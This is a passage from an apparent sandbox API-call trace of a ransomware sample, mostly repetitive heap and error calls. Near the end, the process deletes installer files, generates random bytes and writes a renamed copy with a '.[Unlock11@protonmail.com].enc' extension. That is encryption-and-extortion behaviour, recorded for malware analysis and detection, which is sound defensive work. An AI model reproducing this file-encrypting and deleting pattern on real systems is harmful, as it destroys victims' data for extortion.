hHeap=0x2ad0000) returned 1 [0113.314] GetLastError () returned 0x0 [0113.314] GetLastError () returned 0x0 [0113.316] GetCurrentThreadId () returned 0x9b0 [0113.316] GetLastError () returned 0x0 [0113.316] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.316] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de618 | out: hHeap=0x2ad0000) returned 1 [0113.316] GetCurrentThreadId () returned 0x9b0 [0113.316] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0113.316] GetLastError () returned 0x0 [0113.317] GetLastError () returned 0x0 [0113.317] GetLastError () returned 0x0 [0113.317] GetLastError () returned 0x0 [0113.317] GetCurrentThreadId () returned 0x9b0 [0113.317] GetLastError () returned 0x0 [0113.317] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.317] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0113.317] GetLastError () returned 0x0 [0113.319] GetLastError () returned 0x0 [0113.319] GetCurrentThreadId () returned 0x9b0 [0113.319] GetLastError () returned 0x0 [0113.319] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0113.319] GetLastError () returned 0x0 [0113.319] GetLastError () returned 0x0 [0113.320] GetCurrentThreadId () returned 0x9b0 [0113.320] GetLastError () returned 0x0 [0113.320] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.321] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de508 | out: hHeap=0x2ad0000) returned 1 [0113.321] GetCurrentThreadId () returned 0x9b0 [0113.321] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0113.321] GetLastError () returned 0x0 [0113.321] GetLastError () returned 0x0 [0113.321] GetLastError () returned 0x0 [0113.321] GetLastError () returned 0x0 [0113.321] GetCurrentThreadId () returned 0x9b0 [0113.321] GetLastError () returned 0x0 [0113.322] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.322] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0113.322] GetLastError () returned 0x0 [0113.323] GetLastError () returned 0x0 [0113.323] GetCurrentThreadId () returned 0x9b0 [0113.323] GetLastError () returned 0x0 [0113.323] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0113.323] GetLastError () returned 0x0 [0113.323] GetLastError () returned 0x0 [0113.323] GetCurrentThreadId () returned 0x9b0 [0113.323] GetLastError () returned 0x0 [0113.324] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.324] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de608 | out: hHeap=0x2ad0000) returned 1 [0113.324] GetCurrentThreadId () returned 0x9b0 [0113.324] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0113.324] GetLastError () returned 0x0 [0113.324] GetLastError () returned 0x0 [0113.324] GetLastError () returned 0x0 [0113.324] GetLastError () returned 0x0 [0113.324] GetCurrentThreadId () returned 0x9b0 [0113.325] GetLastError () returned 0x0 [0113.325] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.325] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0113.325] GetLastError () returned 0x0 [0113.326] GetLastError () returned 0x0 [0113.326] GetCurrentThreadId () returned 0x9b0 [0113.326] GetLastError () returned 0x0 [0113.326] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0113.326] GetLastError () returned 0x0 [0113.327] GetLastError () returned 0x0 [0113.328] GetCurrentThreadId () returned 0x9b0 [0113.328] GetLastError () returned 0x0 [0113.328] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.328] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de618 | out: hHeap=0x2ad0000) returned 1 [0113.328] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0113.329] GetCurrentThreadId () returned 0x9b0 [0113.329] GetLastError () returned 0x0 [0113.329] GetLastError () returned 0x0 [0113.329] GetLastError () returned 0x0 [0113.329] GetLastError () returned 0x0 [0113.329] GetCurrentThreadId () returned 0x9b0 [0113.329] GetLastError () returned 0x0 [0113.329] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.330] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0113.330] GetLastError () returned 0x0 [0113.331] GetLastError () returned 0x0 [0113.331] GetCurrentThreadId () returned 0x9b0 [0113.331] GetLastError () returned 0x0 [0113.331] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0113.331] GetLastError () returned 0x0 [0113.331] GetLastError () returned 0x0 [0113.331] GetCurrentThreadId () returned 0x9b0 [0113.331] GetLastError () returned 0x0 [0113.331] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.332] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de508 | out: hHeap=0x2ad0000) returned 1 [0113.332] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0113.332] GetCurrentThreadId () returned 0x9b0 [0113.332] GetLastError () returned 0x0 [0113.332] GetLastError () returned 0x0 [0113.332] GetLastError () returned 0x0 [0113.332] GetLastError () returned 0x0 [0113.332] GetCurrentThreadId () returned 0x9b0 [0113.332] GetLastError () returned 0x0 [0113.333] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.333] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0113.333] GetLastError () returned 0x0 [0113.334] GetLastError () returned 0x0 [0113.334] GetCurrentThreadId () returned 0x9b0 [0113.335] GetLastError () returned 0x0 [0113.335] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0113.335] GetLastError () returned 0x0 [0113.335] GetLastError () returned 0x0 [0113.336] GetCurrentThreadId () returned 0x9b0 [0113.336] GetLastError () returned 0x0 [0113.336] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.336] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de608 | out: hHeap=0x2ad0000) returned 1 [0113.336] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0113.336] GetCurrentThreadId () returned 0x9b0 [0113.336] GetLastError () returned 0x0 [0113.336] GetLastError () returned 0x0 [0113.337] GetLastError () returned 0x0 [0113.337] GetLastError () returned 0x0 [0113.337] GetCurrentThreadId () returned 0x9b0 [0113.337] GetLastError () returned 0x0 [0113.337] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.337] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0113.337] GetLastError () returned 0x0 [0113.338] GetLastError () returned 0x0 [0113.338] GetCurrentThreadId () returned 0x9b0 [0113.338] GetLastError () returned 0x0 [0113.338] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0113.338] GetLastError () returned 0x0 [0113.339] GetLastError () returned 0x0 [0113.339] GetCurrentThreadId () returned 0x9b0 [0113.339] GetLastError () returned 0x0 [0113.339] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.339] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de618 | out: hHeap=0x2ad0000) returned 1 [0113.339] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0113.339] GetCurrentThreadId () returned 0x9b0 [0113.339] GetLastError () returned 0x0 [0113.340] GetLastError () returned 0x0 [0113.340] GetLastError () returned 0x0 [0113.340] GetLastError () returned 0x0 [0113.340] GetCurrentThreadId () returned 0x9b0 [0113.340] GetLastError () returned 0x0 [0113.340] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.340] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0113.340] GetLastError () returned 0x0 [0113.341] GetLastError () returned 0x0 [0113.341] GetCurrentThreadId () returned 0x9b0 [0113.341] GetLastError () returned 0x0 [0113.342] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0113.342] GetLastError () returned 0x0 [0113.342] GetLastError () returned 0x0 [0113.342] GetCurrentThreadId () returned 0x9b0 [0113.342] GetLastError () returned 0x0 [0113.342] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.342] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de608 | out: hHeap=0x2ad0000) returned 1 [0113.342] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0113.342] GetCurrentThreadId () returned 0x9b0 [0113.343] GetLastError () returned 0x0 [0113.343] GetLastError () returned 0x0 [0113.343] GetLastError () returned 0x0 [0113.343] GetLastError () returned 0x0 [0113.343] GetCurrentThreadId () returned 0x9b0 [0113.343] GetLastError () returned 0x0 [0113.343] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.343] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0113.343] GetLastError () returned 0x0 [0113.345] GetLastError () returned 0x0 [0113.345] GetCurrentThreadId () returned 0x9b0 [0113.345] GetLastError () returned 0x0 [0113.345] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0113.345] GetLastError () returned 0x0 [0113.345] GetLastError () returned 0x0 [0113.345] GetCurrentThreadId () returned 0x9b0 [0113.345] GetLastError () returned 0x0 [0113.345] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.346] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de618 | out: hHeap=0x2ad0000) returned 1 [0113.346] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0113.346] GetCurrentThreadId () returned 0x9b0 [0113.346] GetLastError () returned 0x0 [0113.346] GetLastError () returned 0x0 [0113.346] GetLastError () returned 0x0 [0113.346] GetLastError () returned 0x0 [0113.346] GetCurrentThreadId () returned 0x9b0 [0113.346] GetLastError () returned 0x0 [0113.347] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.347] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0113.347] GetLastError () returned 0x0 [0113.348] GetLastError () returned 0x0 [0113.348] GetCurrentThreadId () returned 0x9b0 [0113.348] GetLastError () returned 0x0 [0113.349] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0113.349] GetLastError () returned 0x0 [0113.349] GetLastError () returned 0x0 [0113.349] GetCurrentThreadId () returned 0x9b0 [0113.349] GetLastError () returned 0x0 [0113.349] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x5015) returned 0x36f8548 [0113.349] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.349] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de608 | out: hHeap=0x2ad0000) returned 1 [0113.349] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x5018) returned 0x3887a10 [0113.349] GetLastError () returned 0x0 [0113.350] GetLastError () returned 0x0 [0113.350] GetLastError () returned 0x0 [0113.350] GetLastError () returned 0x0 [0113.350] GetCurrentThreadId () returned 0x9b0 [0113.350] GetLastError () returned 0x0 [0113.350] GetCurrentThreadId () returned 0x9b0 [0113.350] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887a10 | out: hHeap=0x2ad0000) returned 1 [0113.350] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0113.351] GetLastError () returned 0x0 [0113.351] GetLastError () returned 0x0 [0113.351] GetCurrentThreadId () returned 0x9b0 [0113.351] GetLastError () returned 0x0 [0113.351] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x388ca30 | out: hHeap=0x2ad0000) returned 1 [0113.351] GetLastError () returned 0x0 [0113.351] GetLastError () returned 0x0 [0113.351] GetCurrentThreadId () returned 0x9b0 [0113.351] GetLastError () returned 0x0 [0113.352] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.352] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.352] GetLastError () returned 0x0 [0113.352] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0113.352] CloseHandle (hObject=0x3ac) returned 1 [0113.352] GetLastError () returned 0x0 [0113.352] GetCurrentThreadId () returned 0x9b0 [0113.352] GetLastError () returned 0x0 [0113.353] GetLastError () returned 0x0 [0113.353] CloseHandle (hObject=0x39c) returned 1 [0113.353] GetLastError () returned 0x0 [0113.353] GetCurrentThreadId () returned 0x9b0 [0113.353] GetLastError () returned 0x0 [0113.353] GetLastError () returned 0x0 [0113.353] GetLastError () returned 0x0 [0113.353] GetLastError () returned 0x0 [0113.353] GetLastError () returned 0x0 [0113.353] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi")) returned 1 [0113.361] GetLastError () returned 0x0 [0113.361] GetCurrentThreadId () returned 0x9b0 [0113.361] GetLastError () returned 0x0 [0113.361] GetLastError () returned 0x0 [0113.361] GetLastError () returned 0x0 [0113.361] GetLastError () returned 0x0 [0113.361] GetLastError () returned 0x0 [0113.361] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi", lpFilePart=0x9bada4*="netfx_Extended_x86.msi") returned 0x2c [0113.361] GetCurrentThreadId () returned 0x9b0 [0113.362] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0113.362] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0113.362] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cc00 [0113.362] GetLastError () returned 0x0 [0113.362] GetLastError () returned 0x0 [0113.362] GetLastError () returned 0x0 [0113.362] GetLastError () returned 0x0 [0113.362] GetCurrentThreadId () returned 0x9b0 [0113.362] GetLastError () returned 0x0 [0113.362] GetCurrentThreadId () returned 0x9b0 [0113.362] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cc00 | out: hHeap=0x2ad0000) returned 1 [0113.363] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382ce08 [0113.363] GetLastError () returned 0x0 [0113.363] GetLastError () returned 0x0 [0113.363] GetLastError () returned 0x0 [0113.363] GetLastError () returned 0x0 [0113.363] GetCurrentThreadId () returned 0x9b0 [0113.363] GetLastError () returned 0x0 [0113.363] GetLastError () returned 0x0 [0113.363] GetLastError () returned 0x0 [0113.363] GetLastError () returned 0x0 [0113.363] GetLastError () returned 0x0 [0113.363] GetCurrentThreadId () returned 0x9b0 [0113.363] GetLastError () returned 0x0 [0113.364] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382ce08 | out: hHeap=0x2ad0000) returned 1 [0113.364] GetLastError () returned 0x0 [0113.364] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6528 | out: hHeap=0x2ad0000) returned 1 [0113.364] GetLastError () returned 0x0 [0113.364] GetLastError () returned 0x0 [0113.364] GetLastError () returned 0x0 [0113.364] GetCurrentThreadId () returned 0x9b0 [0113.364] GetLastError () returned 0x0 [0113.364] GetCurrentThreadId () returned 0x9b0 [0113.364] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a868 [0113.364] GetLastError () returned 0x0 [0113.365] GetLastError () returned 0x0 [0113.365] GetLastError () returned 0x0 [0113.365] GetLastError () returned 0x0 [0113.365] GetCurrentThreadId () returned 0x9b0 [0113.365] GetLastError () returned 0x0 [0113.365] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a868 | out: hHeap=0x2ad0000) returned 1 [0113.365] GetLastError () returned 0x0 [0113.365] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d63c0 | out: hHeap=0x2ad0000) returned 1 [0113.365] GetLastError () returned 0x0 [0113.365] GetLastError () returned 0x0 [0113.365] GetLastError () returned 0x0 [0113.365] GetCurrentThreadId () returned 0x9b0 [0113.366] GetLastError () returned 0x0 [0113.366] GetLastError () returned 0x0 [0113.366] GetLastError () returned 0x0 [0113.366] GetLastError () returned 0x0 [0113.366] GetLastError () returned 0x0 [0113.366] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0113.366] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7626f700, ftCreationTime.dwHighDateTime=0x1cac6f6, ftLastAccessTime.dwLowDateTime=0x7626f700, ftLastAccessTime.dwHighDateTime=0x1cac6f6, ftLastWriteTime.dwLowDateTime=0x7626f700, ftLastWriteTime.dwHighDateTime=0x1cac6f6, nFileSizeHigh=0x0, nFileSizeLow=0x79000)) returned 1 [0113.366] GetLastError () returned 0x0 [0113.366] GetCurrentThreadId () returned 0x9b0 [0113.366] GetLastError () returned 0x0 [0113.366] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0113.367] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662c14 | out: pbBuffer=0x3662c14) returned 1 [0113.367] GetCurrentThreadId () returned 0x9b0 [0113.367] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0113.367] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382ce80 [0113.367] GetLastError () returned 0x0 [0113.367] GetLastError () returned 0x0 [0113.367] GetLastError () returned 0x0 [0113.367] GetLastError () returned 0x0 [0113.367] GetCurrentThreadId () returned 0x9b0 [0113.367] GetLastError () returned 0x0 [0113.367] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382ce80 | out: hHeap=0x2ad0000) returned 1 [0113.368] GetCurrentThreadId () returned 0x9b0 [0113.368] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cb38 [0113.368] GetLastError () returned 0x0 [0113.368] GetLastError () returned 0x0 [0113.368] GetLastError () returned 0x0 [0113.368] GetLastError () returned 0x0 [0113.368] GetCurrentThreadId () returned 0x9b0 [0113.368] GetLastError () returned 0x0 [0113.368] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cb38 | out: hHeap=0x2ad0000) returned 1 [0113.368] GetCurrentThreadId () returned 0x9b0 [0113.368] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34adba8 | out: hHeap=0x2ad0000) returned 1 [0113.369] GetLastError () returned 0x0 [0113.369] GetLastError () returned 0x0 [0113.369] GetLastError () returned 0x0 [0113.369] GetLastError () returned 0x0 [0113.369] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0113.369] GetLastError () returned 0x0 [0113.369] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0113.369] GetFileType (hFile=0x39c) returned 0x1 [0113.369] GetLastError () returned 0x0 [0113.370] GetCurrentThreadId () returned 0x9b0 [0113.370] GetLastError () returned 0x0 [0113.370] GetFileType (hFile=0x39c) returned 0x1 [0113.370] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0113.370] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.370] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.370] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.370] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.370] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.370] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.370] GetLastError () returned 0x0 [0113.370] GetCurrentThreadId () returned 0x9b0 [0113.370] GetLastError () returned 0x0 [0113.370] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de618 | out: hHeap=0x2ad0000) returned 1 [0113.371] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0113.371] GetLastError () returned 0x0 [0113.371] GetLastError () returned 0x0 [0113.371] GetLastError () returned 0x0 [0113.371] GetLastError () returned 0x0 [0113.371] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0113.371] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de618 [0113.371] GetLastError () returned 0x0 [0113.371] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0113.372] GetFileType (hFile=0x3ac) returned 0x1 [0113.372] GetLastError () returned 0x0 [0113.372] GetCurrentThreadId () returned 0x9b0 [0113.372] GetLastError () returned 0x0 [0113.372] GetFileType (hFile=0x3ac) returned 0x1 [0113.372] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0113.372] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.372] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.372] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.372] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.372] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.372] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.372] GetLastError () returned 0x0 [0113.373] GetCurrentThreadId () returned 0x9b0 [0113.373] GetLastError () returned 0x0 [0113.373] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de618 | out: hHeap=0x2ad0000) returned 1 [0113.373] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2358 | out: hHeap=0x2ad0000) returned 1 [0113.373] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0113.373] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0113.373] GetLastError () returned 0x0 [0113.373] GetLastError () returned 0x0 [0113.373] GetCurrentThreadId () returned 0x9b0 [0113.373] GetLastError () returned 0x0 [0113.373] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0113.373] GetLastError () returned 0x0 [0113.374] GetLastError () returned 0x0 [0113.374] GetCurrentThreadId () returned 0x9b0 [0113.374] GetLastError () returned 0x0 [0113.374] GetLastError () returned 0x0 [0113.375] GetLastError () returned 0x0 [0113.376] GetCurrentThreadId () returned 0x9b0 [0113.376] GetLastError () returned 0x0 [0113.376] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de608 | out: hHeap=0x2ad0000) returned 1 [0113.376] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0113.376] GetLastError () returned 0x0 [0113.376] GetLastError () returned 0x0 [0113.377] GetLastError () returned 0x0 [0113.377] GetLastError () returned 0x0 [0113.377] GetCurrentThreadId () returned 0x9b0 [0113.377] GetLastError () returned 0x0 [0113.377] GetCurrentThreadId () returned 0x9b0 [0113.377] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0113.377] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.377] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0113.377] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0113.377] GetLastError () returned 0x0 [0113.379] GetLastError () returned 0x0 [0113.379] GetCurrentThreadId () returned 0x9b0 [0113.379] GetLastError () returned 0x0 [0113.379] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0113.379] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0113.379] GetLastError () returned 0x0 [0113.380] GetCurrentThreadId () returned 0x9b0 [0113.381] GetCurrentThreadId () returned 0x9b0 [0113.381] GetCurrentThreadId () returned 0x9b0 [0113.381] HeapFree (in: 